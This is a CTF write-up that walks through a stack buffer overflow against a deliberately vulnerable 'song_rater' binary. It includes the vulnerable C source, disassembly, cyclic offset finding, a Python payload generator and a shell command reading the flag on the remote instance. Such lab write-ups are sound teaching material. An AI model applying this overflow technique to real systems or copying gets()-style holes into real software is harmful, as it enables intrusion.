The local docker setup isn't really helpful, so we're gonna skip that.
What is helpful however is gdb
, gcc
and pwntools
(together with pwndbg
):
sudo apt update
# gdb and gcc
sudo apt install gdb gcc
# pwntools
sudo apt install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
# pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
cd ..
For the remote we use the suggested command:
ncat --ssl never-gonna-give-you-ub.ctf.kitctf.de 443
After entering the team token this gives us an instance for 4 minutes -- challenge accepted!
From the Dockerfile
we learn that the flag lies in /flag
and that we can merely interact with the program being run via run.sh
.
This program is built with gcc
and compiled without PIE (Position-independent executables, meaning that the address space layout is not going to be randomized), with no stack protector and optimization level set to 0.
So that should make our lifes easier.
From run.sh
we learn that the program song_rate
is run with the input, output and error streams modified to be unbuffered.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void scratched_record() {
printf("Oh no, your record seems scratched :(\n");
printf("Here's a shell, maybe you can fix it:\n");
execve("/bin/sh", NULL, NULL);
}
extern char *gets(char *s);
int main() {
printf("Song rater v0.1\n-------------------\n\n");
char buf[0xff];
printf("Please enter your song:\n");
gets(buf);
printf("\"%s\" is an excellent choice!\n", buf);
return 0;
}
From song_rater.c
(so the C program to the relevant executable) we learn that we have a buffer of size 0xff
(that is 255) bytes which we can overflow as much as we want via gets
.
Also there's a method before called scratched_record
that isn't called but executes /bin/sh
.
So that seems to be the goal of our overflow.
Firstly we need to figure out the address of where we want to jump to.
Therefore it makes sense to disassemble the binary; for that we can use objdump
, which should already be installed:
objdump -drwC -Mintel song_rater
The relevant sections are:
0000000000401196 <scratched_record>:
401196: f3 0f 1e fa endbr64
40119a: 55 push rbp
40119b: 48 89 e5 mov rbp,rsp
40119e: 48 8d 05 63 0e 00 00 lea rax,[rip+0xe63] # 402008 <_IO_stdin_used+0x8>
4011a5: 48 89 c7 mov rdi,rax
4011a8: e8 c3 fe ff ff call 401070 <puts@plt>
4011ad: 48 8d 05 7c 0e 00 00 lea rax,[rip+0xe7c] # 402030 <_IO_stdin_used+0x30>
4011b4: 48 89 c7 mov rdi,rax
4011b7: e8 b4 fe ff ff call 401070 <puts@plt>
4011bc: ba 00 00 00 00 mov edx,0x0
4011c1: be 00 00 00 00 mov esi,0x0
4011c6: 48 8d 05 89 0e 00 00 lea rax,[rip+0xe89] # 402056 <_IO_stdin_used+0x56>
4011cd: 48 89 c7 mov rdi,rax
4011d0: e8 bb fe ff ff call 401090 <execve@plt>
4011d5: 90 nop
4011d6: 5d pop rbp
4011d7: c3 ret
00000000004011d8 <main>:
4011d8: f3 0f 1e fa endbr64
4011dc: 55 push rbp
4011dd: 48 89 e5 mov rbp,rsp
4011e0: 48 81 ec 00 01 00 00 sub rsp,0x100
4011e7: 48 8d 05 72 0e 00 00 lea rax,[rip+0xe72] # 402060 <_IO_stdin_used+0x60>
4011ee: 48 89 c7 mov rdi,rax
4011f1: e8 7a fe ff ff call 401070 <puts@plt>
4011f6: 48 8d 05 88 0e 00 00 lea rax,[rip+0xe88] # 402085 <_IO_stdin_used+0x85>
4011fd: 48 89 c7 mov rdi,rax
401200: e8 6b fe ff ff call 401070 <puts@plt>
401205: 48 8d 85 00 ff ff ff lea rax,[rbp-0x100]
40120c: 48 89 c7 mov rdi,rax
40120f: e8 8c fe ff ff call 4010a0 <gets@plt>
401214: 48 8d 85 00 ff ff ff lea rax,[rbp-0x100]
40121b: 48 89 c6 mov rsi,rax
40121e: 48 8d 05 78 0e 00 00 lea rax,[rip+0xe78] # 40209d <_IO_stdin_used+0x9d>
401225: 48 89 c7 mov rdi,rax
401228: b8 00 00 00 00 mov eax,0x0
40122d: e8 4e fe ff ff call 401080 <printf@plt>
401232: b8 00 00 00 00 mov eax,0x0
401237: c9 leave
401238: c3 ret
From that we can see that our destination address could be 0x4001196
.
We can validate this in pwndbg
. Therefore we start gdb
:
gdb song_rater
... and start
the program.
It should break at the first instruction, where we can jump to our destination (i.e. set the program counter) with set $pc=0x401196
and continue execution with c
.
And indeed, we enter a shell! We can't do much there though, since it exits after the first instruction. That should be enough anyway.
So now we only need to convince the program to jump to this address. For this we can use a buffer overflow. To understand this, let's take a look at the stack:
pwndbg> stack 40
00:0000│ rsp 0x7fffffffdcb0 ◂— 0x600000001
01:0008│-0f8 0x7fffffffdcb8 ◂— 0
02:0010│-0f0 0x7fffffffdcc0 —▸ 0x7fffffffdd88 ◂— 0
03:0018│-0e8 0x7fffffffdcc8 ◂— 0xc000
04:0020│-0e0 0x7fffffffdcd0 ◂— 0x140000
05:0028│-0d8 0x7fffffffdcd8 ◂— 0x40 /* '@' */
06:0030│-0d0 0x7fffffffdce0 ◂— 0x40 /* '@' */
07:0038│-0c8 0x7fffffffdce8 —▸ 0x7ffff7fe09c9 (init_cpu_features.constprop+1161) ◂— mov eax, dword ptr [rip + 0x1c16d]
08:0040│-0c0 0x7fffffffdcf0 ◂— 0
09:0048│-0b8 0x7fffffffdcf8 —▸ 0x7fffffffdd80 ◂— 0
0a:0050│-0b0 0x7fffffffdd00 ◂— 2
0b:0058│-0a8 0x7fffffffdd08 ◂— 0x8000000000000006
0c:0060│-0a0 0x7fffffffdd10 ◂— 0
... ↓ 5 skipped
12:0090│-070 0x7fffffffdd40 ◂— 0xc000
13:0098│-068 0x7fffffffdd48 ◂— 0x8000
14:00a0│-060 0x7fffffffdd50 ◂— 0
... ↓ 8 skipped
1d:00e8│-018 0x7fffffffdd98 —▸ 0x7ffff7fe6e90 (dl_main) ◂— push rbp
1e:00f0│-010 0x7fffffffdda0 ◂— 0
1f:00f8│-008 0x7fffffffdda8 —▸ 0x7ffff7ffdad0 (_rtld_global+2736) —▸ 0x7ffff7fcb000 ◂— 0x3010102464c457f
20:0100│ rbp 0x7fffffffddb0 ◂— 1
21:0108│+008 0x7fffffffddb8 —▸ 0x7ffff7df424a (__libc_start_call_main+122) ◂— mov edi, eax
22:0110│+010 0x7fffffffddc0 —▸ 0x7fffffffdeb0 —▸ 0x7fffffffdeb8 ◂— 0x38 /* '8' */
23:0118│+018 0x7fffffffddc8 —▸ 0x4011d8 (main) ◂— endbr64
24:0120│+020 0x7fffffffddd0 ◂— 0x100400040 /* '@' */
25:0128│+028 0x7fffffffddd8 —▸ 0x7fffffffdec8 —▸ 0x7fffffffe1f5 ◂— '<path-to-song_rater>'
26:0130│+030 0x7fffffffdde0 —▸ 0x7fffffffdec8 —▸ 0x7fffffffe1f5 ◂— '<path-to-song_rater>'
27:0138│+038 0x7fffffffdde8 ◂— 0x97175ac94f14abd6
Ok, that's a lot. However, from context backtrace
we know that the return address of the current method is 0x7ffff7df424a
which is at __libc_start_call_main+122
.
If we look closely in the stack above, we find this address on the stack at position 0x7fffffffddb8
(the stack pointer, rsp
, currently points to 0x7fffffffdcb0
).
That's because the return address is always push
ed on the stack before the function is called, and later pop
ed again from the stack to determine where to jump back to.
So, what does this help us? Well, the buf
variable is also gonna be on the stack.
And since we have no limitation of how much we can write into buf
, we can overflow it and keep writing nonsense into the stack until we reach the return address.
There we can write the destination address (0x4001196
). As soon as the program reaches the return
statement (i.e. ret
in assembly) it's not going to return to __libc_start_call_main+122
, but rather jump to scratched_record
.
So much for the theory. But how do we achieve this in practice?
It's quite tedious to figure out how much exactly we have to overflow until we reach the return address. To make our lives easier, pwndbg
offers us the cyclic
function.
cyclic
prints a requested number of characters that we can then use as input.
The special thing about those characters is that cyclic
can also identify which set of characters was later used as return address.
This is because each 64bit part of the cyclic characters is unique and thus linkable to the cyclic input.
So we can simply create a cyclic pattern that is certainly longer than what we need and look where the program jumps to. Since we already know that the buffer is of size 255, we can give it a try with 1000 characters:
pwndbg> cyclic 1000
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaae
So, we start in gdb
with run
and enter our very specific song name.
This will end in a segfault, but in gdb
we can see in the backtrace (context backtrace
) where we currently are (0x401238
, the ret
statemt) and where we would jump back to afterwards (0x6261616161616169
):
► 0 0x401238 main+96
1 0x6261616161616169
2 0x626161616161616a
3 0x626161616161616b
4 0x626161616161616c
5 0x626161616161616d
6 0x626161616161616e
7 0x626161616161616f
So the relevant return address is 0x6261616161616169. We can then figure out the offset:
pwndbg> cyclic -l 0x6261616161616169
Finding cyclic pattern of 8 bytes: b'iaaaaaab' (hex: 0x6961616161616162)
Found at offset 264
So the 264th entry in the buf
array of size 255 is the return address.
That is, the 264th entry is the first byte of the return address, then comes the second byte and so on.
Knowing that we need to jump to 0x401196
we can then craft our exploit input with a python script:
dest = 0x401196
# -1 because the 264th element is the start already
offset = 264-1
for i in range(offset):
print(".", end="")
for i in range(8):
this = dest & 0xFF
dest >>= 8
print(chr(this), end="")
We can pipe the output of this script into a file:
python exploit.py > input
Let's pass it as input:
./song_rater < input
Song rater v0.1
-------------------
Please enter your song:
".......................................................................................................................................................................................................................................................................@" is an excellent choice!
Oh no, your record seems scratched :(
Here's a shell, maybe you can fix it:
However, right afterwards the program terminates and we can't interact with the shell.
That's where the modifications from run.sh
come in handy: Apparently the disabled buffer makes it possible to execute commands that are directly piped into the program.
So we can add a newline to our input
and execute shell commands there:
.......................................................................................................................................................................................................................................................................@
cat /flag
(Note that the @
at the end is just a failed attempt to properly display the characters that make up the return address.)
If we execute this (and if the file /flag
exists and is readable) this does indeed output the local flag. So let's run this on the remote:
ncat --ssl <our-url>.ctf.kitctf.de 443 < input
Song rater v0.1
-------------------
Please enter your song:
".......................................................................................................................................................................................................................................................................@" is an excellent choice!
Oh no, your record seems scratched :(
Here's a shell, maybe you can fix it:
GPNCTF{<the-flag>}
We got the flag!